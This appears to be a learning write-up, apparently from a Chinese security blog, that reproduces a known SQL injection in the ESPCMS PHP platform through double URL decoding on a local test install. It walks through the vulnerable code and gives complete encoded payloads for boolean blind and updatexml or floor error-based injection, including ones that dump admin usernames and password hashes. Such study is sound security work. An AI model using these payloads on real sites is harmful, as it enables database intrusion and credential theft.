現在的php程序大多都會進行參數過濾,如urldecode或者rawurldecode函數,導致二次解碼生成單引號而引發注入。
假設目標程序開啟了GPC,即magic_quotes_gpc=on,能實現addslshes()和stripslashes()這兩個函數的功能。在PHP4.0及以上的版本中,該選項默認情況下是開啟的,所以在PHP4.0及以上的版本中,就算PHP程序中的參數沒有進行過濾,PHP系統也會對每一個通過GET、POST、COOKIE方式傳遞的變量自動轉換,換句話說,輸入的注入攻擊代碼將會全部被轉換,將給攻擊者帶來非常大的困難。所以攻擊者要想法繞過GPC,包括利用程序代碼本身的缺陷漏洞繞過。
我們知道,如果提交參數到Webserver,Webserver會自動解碼一次。現在我們提交/1.php?id=l%2527,因為提交的參數里面沒有單引號,所以第一次解碼后的結果是id=1%27,%25解碼為%。
如果程序里使用urldecode或者rawurldecode函數來解碼id參數,解碼后得到 id=1',假如程序直接將其代入數據庫操作,就會出現單引號引發注入。
例子我們想用目前流行的中小心企業網站搭建和管理php平台espcms,原來由Seay大神2013年發現,不過現在網上能夠找到的5代以上版本,都已經修補了這個漏洞。要復現就必須強行修改為原本相關文件漏洞代碼,作為學習驗證用。
代碼審計
打開Seay源代碼審計系統,點擊“新建”,打開espcms目錄,再點:自動審計->開始:
Seay主要是根據關鍵字回溯,正則匹配發現漏洞。在安裝路徑/espcms/interface/search.php文件的in_taglist()函數(可見interface/3gwap_search.php中同樣存在)發現存在sql注入漏洞。
$tagkey變量由accept引入。定位accept函數:
function accept($k, $var = 'R', $ectype = 'bu') { switch ($var) { case 'G': $var = &$_GET; break; case 'P': $var = &$_POST; break; case 'C': $var = &$_COOKIE; break; case 'R': $var = &$_REQUEST; break; } $vluer = $var[$k]; return isset($vluer) ? daddslashes($vluer, 1) : NULL; }
可見傳遞的是$_REQUEST['tagkey']輸入的值。由於$tagkey變量進行了urldecode解碼,即進行了二次解碼,可繞過GPC與安全狗等,它們只見到瀏覽器url常規解碼的結果,如果沒有發現如單引號類“違法”數據,就放過了。但如我們輸入1%2527的時候,常規瀏覽器url解碼為1%27,可以通過GPC,但經過后台文件中urldecode二次解碼,就變成了1',單引號被寫入,可能引發注入漏洞。
再看對$tagkey輸入值的過濾Inputcodetrim()函數:
發現Inputcodetrim()函數只是過濾掉相應的敏感字,沒有過濾單引號,於是我們可考慮雙寫如from寫成frfromom繞過,使得$tagkey被帶入SQL語句,直接代入數據庫,導致產生漏洞。
因為$tagkey通過get方式傳入,就要考慮漏洞觸發頁面的url參數構成。
易見in_taglist()函數在類mainpage下,知道要觸發漏洞就要調用該函數,首先要實例化該mainpage類。先追蹤下mainpage,全局搜索,發現有/index.php文件:
在/index.php文件下找到mainpage類實例化,即在首頁index.php觸發漏洞。
如何構造觸發payload呢?在url構造可控的$_GET方式輸入參數。/index.php文件有兩個可控變量$action和$archive:
定位indexget函數
該函數的$k,$var,$k對應輸入ac與at,$var對應 R。即可由$_GET['ac'或'at']的'ac'或'at'參數值得到變量。
$archive為被包含執行的文件名,$action用來指明該文件中調用的函數名,$mainlist->in_$action()調用該函數。
我們通過現在可知/index.php頁面是通過ac傳參定位相應文件,調用其中at函數,若ac=search,at=taglist,則到search.php調用函數in_taglist(),再通過$tagkey變量傳參,觸發sql注入漏洞。因此我們就可能構造了exp:
http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=1%2527
發現界面發生了變化,不能連接數據庫:
但是卻不能顯示具體報錯內容,也就是說,不能進行報錯注入。
如果在二次解碼單引號%2527后面,加上 ",tags)#"閉合並注釋
http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=1%2527,tags)#,
依然不行。
這時我想,能否將進行二次urlencode編碼再作為payload呢?
http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=-1%2527%252ctags)%2b%2523
頁面變為
果然有用!但V5以后版本,不能顯示報錯信息,因此不能用報錯方法注入,只能用布爾盲注了。
猜解數據庫長度:
payload為
http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=1%2527,tags) or did>1 and 1=(seselectlect length(username) frfromom espcms_admin_member limit 1) #
did>1是第二個sql語句的要求。將之直接用着url,發現沒有反應,所以tagkey=1%2527后要進行二次編碼
http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=1%2527%252ctags)%2bor%2bdid%253e1%2band%2b1%253d(seselectlect%2blength(username)%2bfrfromom%2bespcms_admin_member%2blimit%2b1)%2523
當length(username)=5,頁面正常,即用戶名admin長度為5,盲注成功。
猜解用戶名
http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=1%2527,tags) or did>1 and 97=ascii(seselectlect mid(username,1,1) frfromom espcms_admin_member limit 1)#
二次編碼
http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=1%2527%252ctags)%2bor%2bdid%253e1%2band%2b97%253dascii((seselectlect%2b%2bmid(username%252c1%252c1)%2bfrfromom%2bespcms_admin_member%2blimit%2b1))%2523
頁面正常,因此username第1位即a.
同樣可得2,3,4,5位分別為d,m,i,n,成功獲取username為admin.
報錯注入版本
我進一步思考espcms有沒有顯示報錯信息的版本呢?為了學習,我下載了更早的v4.3版本,據說該版本還有很多人還在用。我將之命名為espcms2,測試結果證明,其有着報錯信息,可以報錯注入。
因此可使用報錯函數updatexml同樣二次編碼后構造payload.
查看數據庫名和用戶名exp:
查看該數據庫下表名:
http://127.0.0.1/espcms2/index.php?ac=search&at=taglist&tagkey=-1%2527%252ctags)%2bor%2bupupdatedatexml(1%252cconconcatcat(0x7e%252c(seselectlect%2btable_name%2bfrfromom%2binformation_schema.tables%2bwhwhereere%2btable_schema%253ddatabase()%2blimit%2b0%252c1))%252c0)%2b%2523
查看該表的字段:
http://127.0.0.1/espcms2/index.php?ac=search&at=taglist&tagkey=-1%2527%252ctags)%2bor%2bupupdatedatexml(1%252cconconcatcat(0x7e%252c(seselectlect%2bcolumn_name%2bfrfromom%2binformation_schema.columns%2bwhwhereere%2btable_schema%253ddatabase()%2band%2btable_name%253d%2527esp_admin_member%2527%2blimit%2b0%252c1))%252c0)%2b%2523
字段名有id,username,password
查看字段名內容:
http://127.0.0.1/espcms2/index.php?ac=search&at=taglist&tagkey=-1%2527%252ctags)%2bor%2bupupdatedatexml(1%252cconconcatcat(0x7e%252c(seselectlect%2bgroup_conconcatcat(id%252c0x3a%252cusername%252c0x3a%252cpassword)%2bfrfromom%2besp_admin_member%2blimit%2b0%252c1))%252c0)%2b%2523
我發現,如果用floor報錯,則不用二次編碼,也能得到報錯信息。
http://127.0.0.1/espcms2/index.php?ac=search&at=taglist&tagkey=-1%2527,tags) or(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,username,0x27,password)) from espcms_admin_member limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
以上是我學習代碼審計的一次詳細記錄,包含許多自己獨特的見解,希望對其他同學有參考價值。